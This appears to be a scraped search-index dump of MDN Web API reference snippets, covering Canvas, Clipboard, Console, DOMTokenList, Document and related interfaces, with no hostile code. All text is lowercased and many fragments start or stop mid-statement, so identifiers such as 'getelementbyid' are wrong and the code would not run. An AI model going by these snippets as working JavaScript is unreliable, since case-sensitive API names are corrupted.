ographic', 'bottom']; ctx.font = '36px serif'; ctx.strokestyle = 'red'; baselines.foreach(function (baseline, index) { ctx.textbaseline = baseline; const y = 75 + index * 75; ctx.beginpath(); ctx.moveto(0, y + 0.5); ctx.lineto(550, y + 0.5); ctx.stroke(); ctx.filltext('abcdefghijklmnop (' + baseline + ')', 0, y); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.textbaseline' in that specification.
CanvasRenderingContext2D.transform() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.transform(1, .2, .8, 1, 0, 0); ctx.fillrect(0, 0, 100, 100); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.transform' in that specification.
CanvasRenderingContext2D.translate() - Web APIs
specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.translate' in that specification.
A basic ray-caster - Web APIs
the code i ended up with is a regurgitated amalgam of the raycaster chapters from an old andré lamothetricks of the game programming gurus book (isbn: 0672305070), and a java raycaster i found online, filtered through my compulsion to rename everything so it makes sense to me, and all the tinkering that had to be done to make things work well.
Manipulating video using canvas - Web APIs
processor.timercallback = function timercallback() { if (this.video.paused || this.video.ended) { return; } this.computeframe(); let self = this; settimeout(function() { self.timercallback(); }, 0); }, the first thing the callback does is check to see if the video is even playing; if it's not, the callback returns immediately without doing anything.
Basic usage of canvas - Web APIs
scripts can also check for support programmatically by simply testing for the presence of the getcontext() method.
Finale - Web APIs
WebAPICanvas APITutorialFinale
comments about this tutorial – the mdn documentation community if you have any comments about this tutorial or want to thank us, feel free to reach out to us!
Hit regions and accessibility - Web APIs
<canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="start game"></canvas> hit regions whether the mouse coordinates are within a particular area on the canvas, is a common problem to solve.
Using images - Web APIs
var img = new image(); // create new img element img.src = 'data:image/gif;base64,r0lgodlhcwalaiaaaaaa3pn/zih5baeaaaealaaaaaalaasaaaiuha+hkcuo4lmnvindo7qyrixigbyaow=='; one advantage of data urls is that the resulting image is available immediately without another round trip to the server.
Canvas API - Web APIs
specifications specification status comment html living standardthe definition of 'the 2d rendering context' in that specification.
CaretPosition - Web APIs
methods caretposition.getclientrect specification specification status comment css object model (cssom) view modulethe definition of 'caretposition' in that specification.
ChannelMergerNode() - Web APIs
example var ac = new audiocontext(); var options = { numberofinputs : 2 } var mymerger = new channelmergernode(ac, options); specifications specification status comment web audio apithe definition of 'channelmergernode' in that specification.
ChannelMergerNode - Web APIs
merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'channelmergernode' in that specification.
ChannelSplitterNode.ChannelSplitterNode() - Web APIs
example var ac = new audiocontext(); var options = { numberofoutputs : 2 } var mysplitter = new channelsplitternode(ac, options); specifications specification status comment web audio apithe definition of 'channelsplitternode' in that specification.
ChannelSplitterNode - Web APIs
merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'channelsplitternode' in that specification.
ChildNode.after() - Web APIs
WebAPIChildNodeafter
); /* minified: (function(x){ var o=x.prototype; o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentnode,n=node,s=string,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextsibling )!==null)?p.insertbefore(e,t):p.appendchild(e)):p.appendchild(d.createtextnode(s(e)));++i;}}}); }(element)); */ specification specification status comment domthe definition of 'childnode.after()' in that specification.
ChildNode.before() - Web APIs
WebAPIChildNodebefore
argitem : document.createtextnode(string(argitem))); }); this.parentnode.insertbefore(docfrag, this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specification specification status comment domthe definition of 'childnode.before()' in that specification.
ChildNode.remove() - Web APIs
WebAPIChildNoderemove
if (item.hasownproperty('remove')) { return; } object.defineproperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { this.parentnode.removechild(this); } }); }); })([element.prototype, characterdata.prototype, documenttype.prototype]); specifications specification status comment domthe definition of 'childnode.remove' in that specification.
ChildNode.replaceWith() - Web APIs
before(currentnode, this.nextsibling); } } if (!element.prototype.replacewith) element.prototype.replacewith = replacewithpolyfill; if (!characterdata.prototype.replacewith) characterdata.prototype.replacewith = replacewithpolyfill; if (!documenttype.prototype.replacewith) documenttype.prototype.replacewith = replacewithpolyfill; specification specification status comment domthe definition of 'childnode.replacewith()' in that specification.
Client.frameType - Web APIs
WebAPIClientframeType
syntax var myframetype = client.frametype; example tbd specifications specification status comment service workersthe definition of 'frametype' in that specification.
Client.id - Web APIs
WebAPIClientid
syntax var clientid = client.id; example tbd specifications specification status comment service workersthe definition of 'id' in that specification.
Client.postMessage() - Web APIs
client.postmessage({ msg: "hey i just got a fetch from you!", url: event.request.url }); }()); }); receiving that message: navigator.serviceworker.addeventlistener('message', event => { console.log(event.data.msg, event.data.url); }); specifications specification status comment service workersthe definition of 'postmessage()' in that specification.
Client.type - Web APIs
WebAPIClienttype
your message was: " + e.data); // let's also post the type value back to the client e.source.postmessage(e.source.type); }); specifications specification status comment service workersthe definition of 'type' in that specification.
Client.url - Web APIs
WebAPIClienturl
f it is event.waituntil(clients.matchall({ type: 'window' }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'url' in that specification.
Client - Web APIs
WebAPIClient
specifications specification status comment service workersthe definition of 'client' in that specification.
Clients.get() - Web APIs
WebAPIClientsget
examples self.clients.get(id).then(function(client) { self.clients.openwindow(client.url); }); specifications specification status comment service workersthe definition of 'get()' in that specification.
Clients.matchAll() - Web APIs
WebAPIClientsmatchAll
examples clients.matchall(options).then(function(clientlist) { for (var i = 0 ; i < clientlist.length ; i++) { if (clientlist[i].url === 'index.html') { clients.openwindow(clientlist[i]); // or do something else involving the matching client } } }); specifications specification status comment service workersthe definition of 'clients: matchall' in that specification.
Clients.openWindow() - Web APIs
windowclient.focus() : null); })); }); specifications specification status comment service workersthe definition of 'clients: openwindow' in that specification.
Clients - Web APIs
WebAPIClients
client.focus(); chatclient = client; break; } } // if we didn't find an existing chat window, // open a new one: if (!chatclient) { chatclient = await clients.openwindow('/chat/'); } // message the client: chatclient.postmessage("new chat messages!"); }()); }); specifications specification status comment service workersthe definition of 'clients' in that specification.
Clipboard.read() - Web APIs
WebAPIClipboardread
specifications specification status comment clipboard api and eventsthe definition of 'read()' in that specification.
Clipboard.readText() - Web APIs
navigator.clipboard.readtext().then( cliptext => document.getelementbyid("outbox").innertext = cliptext); specifications specification status comment clipboard api and eventsthe definition of 'readtext()' in that specification.
Clipboard.write() - Web APIs
WebAPIClipboardwrite
specifications specification status comment clipboard api and eventsthe definition of 'write()' in that specification.
Clipboard.writeText() - Web APIs
navigator.clipboard.writetext("<empty clipboard>").then(function() { /* clipboard successfully set */ }, function() { /* clipboard write failed */ }); specifications specification status comment clipboard api and eventsthe definition of 'writetext()' in that specification.
ClipboardEvent() - Web APIs
specifications specification status comment clipboard api and eventsthe definition of 'clipboardevent()' in that specification.
ClipboardEvent.clipboardData - Web APIs
syntax data = clipboardevent.clipboarddata specifications specification status comment clipboard api and eventsthe definition of 'clipboardevent.clipboarddata' in that specification.
ClipboardEvent - Web APIs
specifications specification status comment clipboard api and eventsthe definition of 'clipboardevent' in that specification.
ClipboardItem() - Web APIs
clipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem.getType() - Web APIs
try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem.types - Web APIs
try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem - Web APIs
try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
CloseEvent() - Web APIs
specifications specification status comment html living standardthe definition of 'closeevent()' in that specification.
CloseEvent - Web APIs
specifications specification status comment html living standardthe definition of 'closeevent' in that specification.
CompositionEvent.CompositionEvent() - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'compositionevent()' in that specification.
CompositionEvent.initCompositionEvent() - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'initcompositionevent()' in that specification.
CompositionEvent.locale - Web APIs
specifications specification status comment document object model (dom) level 3 events specification obsolete no longer in the spec, but still supported.
CompositionEvent - Web APIs
specifications specification status comment ui eventsthe definition of 'compositionevent' in that specification.
console.assert() - Web APIs
WebAPIConsoleassert
specifications specification status comment console apithe definition of 'console.assert()' in that specification.
console.clear() - Web APIs
WebAPIConsoleclear
syntax console.clear(); specifications specification status comment console apithe definition of 'console.clear()' in that specification.
console.count() - Web APIs
WebAPIConsolecount
specifications specification status comment console apithe definition of 'console.count()' in that specification.
Console.countReset() - Web APIs
specifications specification status comment console apithe definition of 'console.countreset()' in that specification.
console.debug() - Web APIs
WebAPIConsoledebug
specifications specification status comment console apithe definition of 'console.debug()' in that specification.
Console.dir() - Web APIs
WebAPIConsoledir
specifications specification status comment console apithe definition of 'console.dir()' in that specification.
Console.dirxml() - Web APIs
WebAPIConsoledirxml
specifications specification status comment console apithe definition of 'console.dirxml()' in that specification.
Console.error() - Web APIs
WebAPIConsoleerror
specifications specification status comment console apithe definition of 'console.error()' in that specification.
Console.group() - Web APIs
WebAPIConsolegroup
specifications specification status comment console apithe definition of 'console.group()' in that specification.
Console.groupCollapsed() - Web APIs
specifications specification status comment console apithe definition of 'console.groupcollapsed()' in that specification.
Console.groupEnd() - Web APIs
WebAPIConsolegroupEnd
specifications specification status comment console apithe definition of 'console.groupend()' in that specification.
Console.info() - Web APIs
WebAPIConsoleinfo
specifications specification status comment console apithe definition of 'console.info()' in that specification.
console.log() - Web APIs
WebAPIConsolelog
specifications specification status comment console apithe definition of 'console.log()' in that specification.
Console.profileEnd() - Web APIs
calling this api immediately after console.profile() can cause it to not work.
Console.table() - Web APIs
WebAPIConsoletable
specifications specification status comment console apithe definition of 'console.table()' in that specification.
Console.time() - Web APIs
WebAPIConsoletime
specifications specification status comment console apithe definition of 'console.time()' in that specification.
Console.timeEnd() - Web APIs
WebAPIConsoletimeEnd
specifications specification status comment console apithe definition of 'console.timeend()' in that specification.
Console.timeLog() - Web APIs
WebAPIConsoletimeLog
specifications specification status comment console apithe definition of 'console.timelog()' in that specification.
console.trace() - Web APIs
WebAPIConsoletrace
example function foo() { function bar() { console.trace(); } bar(); } foo(); in the console, the following trace will be displayed: bar foo <anonymous> specifications specification status comment console apithe definition of 'console.trace()' in that specification.
Console.warn() - Web APIs
WebAPIConsolewarn
specifications specification status comment console apithe definition of 'console.warn()' in that specification.
console - Web APIs
WebAPIConsole
given code like this: function foo() { function bar() { console.trace(); } bar(); } foo(); the output in the console looks something like this: specifications specification status comment console api living standard initial definition.
ConstantSourceNode() - Web APIs
specifications specification status comment web audio apithe definition of 'constantsourcenode: constantsourcenode' in that specification.
ConstantSourceNode.offset - Web APIs
specifications specification status comment web audio apithe definition of 'offset' in that specification.
ConstantSourceNode - Web APIs
specification specification status comment web audio apithe definition of 'constantsourcenode' in that specification.
ContentIndex.add() - Web APIs
WebAPIContentIndexadd
ontent const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; self.registration.index.add(item); specifications specification status comment unknownthe definition of 'add' in that specification.
ContentIndex.delete() - Web APIs
self.registration.index.delete('my-id'); specifications specification status comment unknownthe definition of 'delete' in that specification.
ContentIndex.getAll() - Web APIs
createelement('ul'); for (const entry of entries) { const listitem = document.createelement('li'); const anchorelem = document.createelement('a'); anchorelem.innertext = entry.title; anchorelem.setattribute('href', entry.url); listelem.append(listitem); } readinglistelem.append(listelem); } } specifications specification status comment unknownthe definition of 'getall' in that specification.
ContentIndex - Web APIs
they are accessible from the workerglobalscope.self property: // service worker script self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); specifications specification status comment unknownthe definition of 'contentindex' in that specification.
ContentIndexEvent() - Web APIs
var removedata = { id : 'unique-content-id' } var cievent = new contentindexevent('contentdelete', removedata); cievent.id; // should return 'unique-content-id' specifications specification status comment unknownthe definition of 'contentindexevent' in that specification.
ContentIndexEvent.id - Web APIs
self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); specifications specification status comment unknownthe definition of 'id' in that specification.
ContentIndexEvent - Web APIs
self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be used to determine what content to delete from your cache }); specifications specification status comment unknownthe definition of 'contentindexevent' in that specification.
Content Index API - Web APIs
specifications specification status comment unknown unknown initial definition.
ConvolverNode() - Web APIs
specifications specification status comment web audio apithe definition of 'convolvernode()' in that specification.
ConvolverNode.buffer - Web APIs
convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'buffer' in that specification.
ConvolverNode.normalize - Web APIs
convolver.normalize = false; // must be set before the buffer, to take effect convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'normalize' in that specification.
ConvolverNode - Web APIs
let reverb = await createreverb(); // someotheraudionode -> reverb -> destination someotheraudionode.connect(reverb); reverb.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'convolvernode' in that specification.
CountQueuingStrategy.CountQueuingStrategy() - Web APIs
}, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy()' in that specification.
CountQueuingStrategy.size() - Web APIs
}, abort(err) { console.log("sink error:", err); } }, queuingstrategy); var size = queuingstrategy.size(); specifications specification status comment streamsthe definition of 'size' in that specification.
CountQueuingStrategy - Web APIs
}, abort(err) { console.log("sink error:", err); } }, queueingstrategy); var size = queueingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy' in that specification.
Credential.id - Web APIs
WebAPICredentialid
specifications specification status comment credential management level 1 working draft initial definition.
Credential.name - Web APIs
WebAPICredentialname
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
Credential.type - Web APIs
WebAPICredentialtype
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
Credential - Web APIs
examples // tbd specifications specification status comment credential management level 1 working draft initial definition.
CredentialsContainer.preventSilentAccess() - Web APIs
specifications specification status comment credential management level 1the definition of 'preventsilentaccess()' in that specification.
CredentialsContainer.store() - Web APIs
example // tbd specifications specification status comment credential management level 1 working draft initial definition.
Crypto.getRandomValues() - Web APIs
examples /* assuming that window.crypto.getrandomvalues is available */ var array = new uint32array(10); window.crypto.getrandomvalues(array); console.log("your lucky numbers:"); for (var i = 0; i < array.length; i++) { console.log(array[i]); } specification specification status comment web cryptography api recommendation initial definition ...
CustomElementRegistry.define() - Web APIs
e shadow root shadow.appendchild(text); // update count when element content changes setinterval(function() { var count = 'words: ' + countwords(wcparent); text.textcontent = count; }, 200) } } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'customelements.define()' in that specification.
CustomElementRegistry.get() - Web APIs
super(); let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(templatecontent.clonenode(true)); } }) // return a reference to the my-paragraph constructor let ctor = customelements.get('my-paragraph'); specifications specification status comment html living standardthe definition of 'customelements.get()' in that specification.
CustomElementRegistry.upgrade() - Web APIs
specifications specification status comment html living standardthe definition of 'customelements.upgrade()' in that specification.
CustomEvent() - Web APIs
specifications specification status comment domthe definition of 'customevent()' in that specification.
CustomEvent.detail - Web APIs
mple // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event let event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); // will return an object contaning the hazcheeseburger property let mydetail = event.detail; specifications specification status comment domthe definition of 'detail' in that specification.
CustomEvent.initCustomEvent() - Web APIs
specifications specification status comment domthe definition of 'customevent' in that specification.
DOMConfiguration - Web APIs
pre-defined parameters: "canonical-form", "cdata-sections", "check-character-normalization", "comments", "datatype-normalization", "element-content-whitespace", "entities", "error-handler", "infoset", "namespaces", "namespace-declarations", "normalize-characters","schema-location", "schema-type", "split-cdata-sections", "validate", "validate-if-schema", "well-formed" properties domconfiguration.parameternames read only is a domstringlist methods domconfiguration.cansetparameter() returns a boolean domconfiguration.getparameter() returns a domuserdata domconfiguration.setparameter() sets a parameter specification http://www.w3.org/tr/dom-level-3-cor...mconfiguratio...
DOMImplementation.createDocument() - Web APIs
example var doc = document.implementation.createdocument ('http://www.w3.org/1999/xhtml', 'html', null); var body = document.createelementns('http://www.w3.org/1999/xhtml', 'body'); body.setattribute('id', 'abc'); doc.documentelement.appendchild(body); alert(doc.getelementbyid('abc')); // [object htmlbodyelement] specifications specification status comment domthe definition of 'domimplementation.createdocument' in that specification.
DOMImplementation.createDocumentType() - Web APIs
example var dt = document.implementation.createdocumenttype('svg:svg', '-//w3c//dtd svg 1.1//en', 'http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd'); var d = document.implementation.createdocument('http://www.w3.org/2000/svg', 'svg:svg', dt); alert(d.doctype.publicid); // -//w3c//dtd svg 1.1//en specifications specification status comment domthe definition of 'domimplementation.createdocumenttype' in that specification.
DOMImplementation.createHTMLDocument() - Web APIs
view live examples the returned document is pre-constructed with the following html: <!doctype html> <html> <head> <title>title</title> </head> <body> </body> </html> specifications specification status comment domthe definition of 'domimplementation.createhtmldocument' in that specification.
DOMImplementation.hasFeature() - Web APIs
specifications specification status comment domthe definition of 'domimplementation.hasfeature' in that specification.
DOMImplementation - Web APIs
specifications specification status comment domthe definition of 'domimplementation' in that specification.
DOMImplementationList - Web APIs
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'domimplementationlist' in that specification.
DOMLocator - Web APIs
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'domlocator' in that specification.
DOMObject - Web APIs
WebAPIDOMObject
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'domobject' in that specification.
DOMParser - Web APIs
WebAPIDOMParser
/html\s*(?:;|$)/i.test(type)) { var doc = document.implementation.createhtmldocument(""); if (markup.tolowercase().indexof('<!doctype') > -1) { doc.documentelement.innerhtml = markup; } else { doc.body.innerhtml = markup; } return doc; } else { return nativeparse.apply(this, arguments); } }; }(domparser)); specifications specification status comment html living standardthe definition of 'dom parsing' in that specification.
DOMStringList - Web APIs
domstringlist.contains() returns boolean indicating if the given string is in the list specifications specification status comment html living standardthe definition of 'domstringlist' in that specification.
DOMStringMap - Web APIs
specifications specification status comment html living standardthe definition of 'domstringmap' in that specification.
DOMTokenList.add() - Web APIs
WebAPIDOMTokenListadd
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; classes.add("d"); span.textcontent = classes; the output looks like this: you can add multiple tokens as well: span.classlist.add("d", "e", "f"); specifications specification status comment domthe definition of 'add()' in that specification.
DOMTokenList.contains() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let result = classes.contains("c"); if (result) { span.textcontent = "the classlist contains 'c'"; } else { span.textcontent = "the classlist does not contain 'c'"; } the output looks like this: specifications specification status comment domthe definition of 'contains()' in that specification.
DOMTokenList.entries() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let iterator = classes.entries(); for (let value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'entries() (as iterable<node>)' in that specification.
DOMTokenList.forEach() - Web APIs
polyfill this polyfill adds compatibility to all browsers supporting es5: if (window.domtokenlist && !domtokenlist.prototype.foreach) { domtokenlist.prototype.foreach = function (callback, thisarg) { thisarg = thisarg || window; for (var i = 0; i < this.length; i++) { callback.call(thisarg, this[i], i, this); } }; } specifications specification status comment domthe definition of 'foreach() (as iterable<node>)' in that specification.
DOMTokenList.item() - Web APIs
WebAPIDOMTokenListitem
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let item = classes.item(classes.length-1); span.textcontent = item; the output looks like this: specifications specification status comment domthe definition of 'item()' in that specification.
DOMTokenList.keys() - Web APIs
WebAPIDOMTokenListkeys
first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.keys(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'keys() (as iterable<node>)' in that specification.
DOMTokenList.length - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; let length = classes.length; span.textcontent = `classlist length = ${length}`; the output looks like this: specifications specification status comment domthe definition of 'length' in that specification.
DOMTokenList.remove() - Web APIs
the order you supply the tokens doesn't have to match the order they appear in the list: let span2 = document.getelementsbytagname("span")[0] let classes2 = span.classlist; classes2.remove("c", "b"); span2.textcontent = classes; specifications specification status comment domthe definition of 'remove()' in that specification.
DOMTokenList.supports() - Web APIs
iframe = document.getelementbyid('display'); if (iframe.sandbox.supports('an-upcoming-feature')) { // support code for mystery future feature } else { // fallback code } if (iframe.sandbox.supports('allow-scripts')) { // instruct frame to run javascript // // (note: this feature is well-supported; this is just an example!) // } specifications specification status comment credential management level 1 working draft initial definition.
DOMTokenList.toggle() - Web APIs
ument.queryselector("span"); let classes = span.classlist; span.addeventlistener('click', function() { let result = classes.toggle("c"); if (result) { span.textcontent = `'c' added; classlist is now "${classes}".`; } else { span.textcontent = `'c' removed; classlist is now "${classes}".`; } }) the output looks like this: specifications specification status comment domthe definition of 'toggle()' in that specification.
DOMTokenList.value - Web APIs
first, the html: <span class="a b c"></span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.textcontent = classes.value; the output looks like this: specifications specification status comment domthe definition of 'value' in that specification.
DOMTokenList.values() - Web APIs
first, the html: <span class="a b c"></span> now the javascript: var span = document.queryselector("span"); var classes = span.classlist; var iterator = classes.values(); for(var value of iterator) { span.textcontent += value + ' ++ '; } the output looks like this: specifications specification status comment domthe definition of 'values() (as iterable<node>)' in that specification.
DOMUserData - Web APIs
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'domuserdata' in that specification.
DataTransfer() - Web APIs
specifications specification status comment html living standardthe definition of 'the datatransfer() constructor' in that specification.
DataTransferItem.webkitGetAsEntry() - Web APIs
specifications specification status comment file and directory entries apithe definition of 'webkitgetasentry()' in that specification.
DataTransferItemList.DataTransferItem() - Web APIs
one and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } result drag and drop demo link specifications specification status comment html living standardthe definition of 'datatransferitem getter' in that specification.
DedicatedWorkerGlobalScope.close() - Web APIs
specifications specification status comment html living standardthe definition of 'close()' in that specification.
DedicatedWorkerGlobalScope.name - Web APIs
specifications specification status comment html living standardthe definition of 'name' in that specification.
DedicatedWorkerGlobalScope.onmessage - Web APIs
specifications specification status comment html living standardthe definition of 'dedicatedworkerglobalscope.onmessage' in that specification.
DedicatedWorkerGlobalScope.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
DedicatedWorkerGlobalScope.postMessage() - Web APIs
specifications specification status comment html living standardthe definition of 'dedicatedworkerglobalscope.postmessage()' in that specification.
DelayNode() - Web APIs
example const audioctx = new audiocontext(); const delaynode = new delaynode(audioctx, { delaytime: 0.5, maxdelaytime: 2, }); specifications specification status comment web audio apithe definition of 'delaynode()' in that specification.
DeprecationReportBody - Web APIs
specifications specification status comment reporting apithe definition of 'deprecationreportbody' in that specification.
DeviceMotionEvent.DeviceMotionEvent() - Web APIs
rotationrate: an object giving the rate of change of the device's orientation on the three orientation axis alpha, beta and gamma.
DeviceMotionEvent.acceleration - Web APIs
each axis is represented with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent.accelerationIncludingGravity - Web APIs
each axis is represented with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEvent.interval - Web APIs
syntax var interval = devicemotionevent.interval; specifications specification status comment deviceorientation event specification editor's draft initial definition.
DeviceMotionEventAcceleration - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration' in that specification.
DeviceMotionEventRotationRate: alpha - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: alpha' in that specification.
DeviceMotionEventRotationRate: beta - Web APIs
specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventrotationrate: beta' in that specification.
DeviceOrientationEvent.absolute - Web APIs
specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.alpha - Web APIs
syntax var alpha = instanceofdeviceorientationevent.alpha; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.beta - Web APIs
syntax var beta = instanceofdeviceorientationevent.beta; specifications specification status comment deviceorientation event specification editor's draft initial specification.
Device Memory API - Web APIs
specifications specification status comment device memory 1 editor's draft initial definition.
DirectoryReaderSync - Web APIs
function onerror(e) { postmessage('error: ' + e.tostring()); } self.onmessage = function(e) { var data = e.data; // ignore everything else except our 'list' command.
DisplayMediaStreamConstraints.audio - Web APIs
example specifications specification status comment unknownthe definition of 'displaymediastreamconstraints.audio' in that specification.
DisplayMediaStreamConstraints.video - Web APIs
example specifications specification status comment unknownthe definition of 'displaymediastreamconstraints.video' in that specification.
DisplayMediaStreamConstraints - Web APIs
specifications specification status comment unknownthe definition of 'displaymediastreamconstraints' in that specification.
Document() - Web APIs
WebAPIDocumentDocument
syntax new document(); specifications specification status comment domthe definition of 'document' in that specification.
Document.URL - Web APIs
WebAPIDocumentURL
syntax const url = document.url example javascript document.getelementbyid("url").textcontent = document.url; html <p id="urltext"> url:<br/> <span id="url">url goes here</span> </p> result specifications specification status comment domthe definition of 'document.url' in that specification.
Document.adoptNode() - Web APIs
specifications specification status comment domthe definition of 'document.adoptnode' in that specification.
Document.all - Web APIs
WebAPIDocumentall
specifications specification status comment html living standardthe definition of 'all' in that specification.
Document.anchors - Web APIs
WebAPIDocumentanchors
specifications specification status comment html living standardthe definition of 'document.anchors' in that specification.
Document: animationcancel event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Document: animationend event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Document: animationiteration event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Document: animationstart event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Document.applets - Web APIs
WebAPIDocumentapplets
example // when you know the second applet is the one you want my_java_app = document.applets[1]; specifications specification status comment html living standardthe definition of 'document.applets' in that specification.
Document.bgColor - Web APIs
WebAPIDocumentbgColor
the recommended alternative is use of the css style background-color which can be accessed through the dom with document.body.style.backgroundcolor.
Document.characterSet - Web APIs
syntax var string = document.characterset; examples <button onclick="console.log(document.characterset);"> log character encoding </button> <!-- displays document's character encoding in the dev console, such as "iso-8859-1" or "utf-8" --> specifications specification status comment domthe definition of 'characterset' in that specification.
Document.close() - Web APIs
WebAPIDocumentclose
syntax document.close(); example // open a document to write to it document.open(); // write the content of the document document.write("<p>the one and only content.</p>"); // close the document document.close(); specifications specification status comment html living standardthe definition of 'document.close()' in that specification.
Document.compatMode - Web APIs
example if (document.compatmode == "backcompat") { // in quirks mode } specifications specification status comment domthe definition of 'compatmode' in that specification.
Document.contentType - Web APIs
specifications specification status comment domthe definition of 'document.contenttype' in that specification.
Document.createAttribute() - Web APIs
example var node = document.getelementbyid("div1"); var a = document.createattribute("my_attrib"); a.value = "newval"; node.setattributenode(a); console.log(node.getattribute("my_attrib")); // "newval" specifications specification status comment domthe definition of 'document.createattribute()' in that specification.
Document.createCDATASection() - Web APIs
specifications specification status comment domthe definition of 'document.createcdatasection' in that specification.
Document.createDocumentFragment() - Web APIs
); // assuming ul exists var fragment = document.createdocumentfragment(); var browsers = ['firefox', 'chrome', 'opera', 'safari', 'internet explorer']; browsers.foreach(function(browser) { var li = document.createelement('li'); li.textcontent = browser; fragment.appendchild(li); }); element.appendchild(fragment); result specifications specification status comment domthe definition of 'document.createdocumentfragment()' in that specification.
Document.createProcessingInstruction() - Web APIs
